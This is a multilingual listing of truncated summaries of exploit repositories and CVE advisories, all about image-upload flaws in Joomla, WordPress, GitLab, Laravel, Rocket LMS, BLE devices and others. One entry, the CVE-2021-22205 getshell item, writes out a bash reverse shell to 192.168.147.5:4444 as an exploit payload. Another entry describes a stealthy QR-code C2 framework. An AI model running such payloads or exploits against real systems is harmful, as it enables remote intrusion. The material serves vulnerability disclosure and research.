CVE-2021-23132

CVE-2021-23132 commedia가 이미지 업로드에 의도되지 않은 경로를 허용하여 RCE 발생. CVE-2020-24597 commedia의 디렉터리 트래버설로 RCE 발생 두 CVE는 동일합니다. PoC 전체 영향받는 버전: Joomla 코어 =3.9.24 사용자 요구사항: 관리자 계정 슈퍼 관리자 아님 접근 획득: 슈퍼 관리자를 생성한 후 RCE 트리거. Joomla에서 원격 코드 실행 RCE 자격 증명과 RCE 접속 링크를 사용하여 cve-2021-23132.py 실행:...

shining-mask

Shining Mask Hacks 이 저장소는 Shining LED 마스크용 맞춤형 Bluetooth Low EnergyBLE 컨트롤러를 만드는 코드와 지침을 포함하며, BLE 범위 내에 있는 모든 마스크의 얼굴 이미지를 자동으로 변경합니다. 이 저장소는 Invasion of the Facechangers: Halloween Hijinks with Bluetooth LED Masks의 동반 자료입니다. 기능 BLE 범위 내의 모든 Shining LED 마스크에 자동으로 연결하여 여우 얼굴을 업로드합니다. 스크립트가 실행되면 사...

cve-2022-44268

HackTheBox Pilgrimage에 맞춘 익스플로잇 cve-2022-44268을 사용하여 입력 파일의 입력 파일리스트에 있는 파일 이름으로 프로필 값을 추가하고, 각 수정된 이미지를 업로드하는 파일 업로드에 대해 Burpsuite의 입력 request.req 파일이미 포함됨을 사용하여 이미지 파일 업로드를 업데이트하며, 반환된 URL에서 이미지를 다운로드하고 파일 내용을 추출하여 입력 디렉토리에 배치하는 자동 Python 스크립트입니다. $ ./cve-2022-44268.py usage: cve-2022-44268.py ...

QuickResponseC2

기능 - 사용법 - 데모 - 워크플로우 개요 - 할 일 QuickResponseC2 QuickResponseC2는 중간 HTTP/S 서버를 통해 공격자와 피해자 시스템 간의 간접적이고 은밀한 통신을 가능하게 하는 Command and Control C2 프레임워크입니다. 모든 네트워크 활동은 이미지 업로드 및 다운로드로 제한되어 기존 IPS/IDS 시스템에 탐지되기 어렵고, 보안 연구 및 침투 테스트에 이상적인 도구입니다. 기능: QR 코드를 통한 명령 실행 : 사용자는 피해자 시스템에 사용자 정의 명령을 QR 코드로...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - 이미지 원격 코드 실행 python을 사용한 CVE-2019-8942 및 CVE-2019-8943 익스플로잇 : ExploitDB : https://www.exploit-db.com/exploits/49512 metasploit용 원본 익스플로잇 : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit : https://www.exploit-db.com/exploits/46662 동영상 : 설명: 아래 동영상은 공격자가 ...

RISE-Ultimate_Project_Manager_e_CRM

CVE-2025-3855 - RISE Ultimate Project Manager - IDOR 보안 취약점: IDOR 안전하지 않은 직접 객체 참조 영향을 받는 구성 요소: 프로필 이미지 업로드 엔드포인트, teammembers 컨트롤러 소프트웨어: RISE - Ultimate Project Manager & CRM 공급업체: codecanyon 버전: 3.8.2 CVE ORG : https://vulners.com/cve/CVE-2025-3855 NIST:...

PoC-RCE-Rukovoditel

PoC-RCE-Rukovoditel CVE-2020-11819 및 CVE-2020-15946에 대한 개념 증명. Rukovoditel 2.4.x, 2.5.x 및 2.6.1에서 테스트됨. 설명: 이 익스플로잇에는 두 가지 실행 모드가 있습니다: 세션 고정 취약점CVE-2020-15946을 사용하거나, 모든 프로필 아래의 모든 계정의 접근 자격 증명을 사용하는 것입니다. --type L 옵션을 사용하면 이 스크립트는 악성 링크를 생성합니다. 피해자가 브라우저에서 링크에 접근하면, 임의의 세션 식별자가 설정되어 피해자의 세션을 훔치...

CVE-2021-43617

CVE-2021-43617 이것은 PHP Laravel 8.70.1 - 크로스 사이트 스크립팅 XSS에서 크로스 사이트 요청 위조 CSRF 취약점으로 이어지는 재현입니다. 설명 이 취약점은 라라벨 이미지 파일 업로드 기능을 우회하여 웹 서버에 임의의 파일을 업로드할 수 있다는 점을 악용합니다. 이를 통해 임의의 자바스크립트를 실행하고 CSRF 토큰을 우회할 수 있습니다. 재현 단계: 라라벨 8.7. 애플리케이션을 생성하여 이미지 파일 업로드 폼을 표시합니다. 폼 CSRF 토큰을 우회하기 위한 익스플로잇이 포함된 HTML 파일...

CVE-2024-36057

CVE-2024-36057 — Koha Library Software CVE ID: CVE-2024-36057 製品: Koha Library Software 脆弱性タイプ: OSコマンドインジェクション CWE-78 CVSSスコア: 8.7 高 認証済み 影響を受けるバージョン: 22.05.22未満 クレジット: Karolis Narvilas 説明...

CVE-2026-11112-XXE-via-SVG-Image-Upload

CVE-2026-11112 – SVG画像アップロードによるXXE プログラムコード（Python Flask + XMLパーサー） xxeuploadserver.py - Uploads SVG, renders with lxml resolving entities from flask import Flask, request from lxml import etree app = Flaskname @app.route'/upload', methods='POST' def uploadsvg: svgdata = request.data Vulnerable:...

smart-sketcher-upload

smART Sketcher 2.0 - Bluetooth認証バイパス CVE-2026-0842 | BLEインターフェースにおける認証欠如 概要 smART Sketcher 2.0は、子供が画像をなぞって描くことができるBluetooth対応の玩具プロジェクターです。このデバイスはBluetooth接続に認証がなく、範囲内の誰でもペアリングや通知なしに接続して画像を送信できます。 デモ 問題点 デバイスはBluetooth経由で「smART Sketcher 2.0」としてブロードキャストされる 接続にペアリングは不要 コマンドや画像の送信に認証は不要 誰かが接続しても通知はない...

-CVE-2026-1657

CVE-2026-1657 CVE-2026-1657 漏洞利用：通过 'epuploadfilemedia' AJAX 端点进行未认证图片上传 使用方法 python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell 테스트 버전 취약점 악용 명령 생성 echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumake를 이용한 취약점 악용 이미지 생성 import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh", "chmod +x /tmp/1.sh",...

Gitlab-CVE-2021-22205

Gitlab 버전 -c 버전 13.10.1-ce.0에서 테스트 완료...

CVE-2026-102290

A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be...

CVE-2026-102290

A vulnerability exists in CodeCanyon Rocket LMS up to version 2.2 . The issue resides in an unknown function within the Student Profile Image Upload component, where specific manipulations can lead to Cross-Site Scripting (XSS) . This attack can be executed remotely , and the exploit has been pub...

CVE-2026-102290 CodeCanyon Rocket LMS Student Profile Image Upload cross site scripting

A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be...

EUVD-2026-88641

A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be...

CVE-2026-102290 CodeCanyon Rocket LMS Student Profile Image Upload cross site scripting

A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be...

CVE-2021-22205

CVE-2021-22205 Gitlab CE/EE에서 exiftool을 통한 인증 전pre-auth RCE CVE 요약 GitLab은 허용 목록whitelist에 없는 태그를 제거하기 위해 모든 tiff/jpeg/jpg 파일을 검사할 때 ExifTool을 사용합니다. 하지만 ExifTool은 파일 유형을 결정할 때 파일 확장자를 사용하지 않고 파일의 내용을 사용하므로, 공격자는 임의의 파일을 업로드하고 이를 tiff/jpeg/jpg로 이름을 바꾼 다음 ExifTool이 지원하는 파서를 "악용"할 수 있습니다. ExifTool은...